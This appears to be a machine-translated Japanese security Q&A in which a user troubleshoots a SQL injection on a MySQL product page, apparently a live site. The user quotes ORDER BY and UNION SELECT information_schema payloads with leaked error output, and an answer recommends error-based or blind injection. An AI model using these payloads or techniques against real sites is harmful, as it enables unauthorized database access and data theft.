web-dev-qa-db-ja.com

インジェクションクエリでSQLテーブルの列番号が変わる?

ここでは非常に基本的なSQLインジェクションの質問ですが、MySQL Webサイトでproduct.php?id=200を含むSQLiを見つけました。

最初にORDER BYに疲れて、そのテーブルの列番号をproduct.php?id=200 order by 13で把握しました。

これは12列であることが判明し、13までの順序でエラーが表示されます。

Error: SELECT * FROM `category` WHERE is_active='1' AND id =200 order by 13

Unknown column '13' in 'order clause'

すべてが良さそうなので、次にテーブル名を見つけようとしましたが、

product.php?id=200 union select table_name,2,3,4,5,6,7,8,9,10,11,12 from 
information_schema.tables

そしてそれは示しています

Error: SELECT * FROM `products` WHERE is_active='1' AND id =200 union select 
table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables

The used SELECT statements have a different number of columns

選択クエリに入力した数値の数に関係なく、常に同じエラーが表示されます。バックエンドで動的なアクティビティが発生していると思いますが、何がどのように進むべきかわかりません。ありがとうございました!

2
tomu

列数の異なるテーブルから選択する2つの異なるクエリ(categoryから1つ、productsから1つ)を注入します。 1つの列数を修正すると、もう1つの列数は一致しなくなります。

同時に異なる列数を指定することはできません。また、クエリの1つをスキップすることもできないため、単純なユニオンインジェクションは機能しません。

エラーが表示されるので、単純なエラーベースの注入を使用できます。エラーが表示されなかった場合でも、タイミングおよび場合によってはコンテンツベースのブラインドインジェクションを使用できます(3つすべての例については here を参照してください)。どちらの場合も、最初のクエリに挿入することをお勧めします(エラーの処理方法によって多少異なります)。

1
tim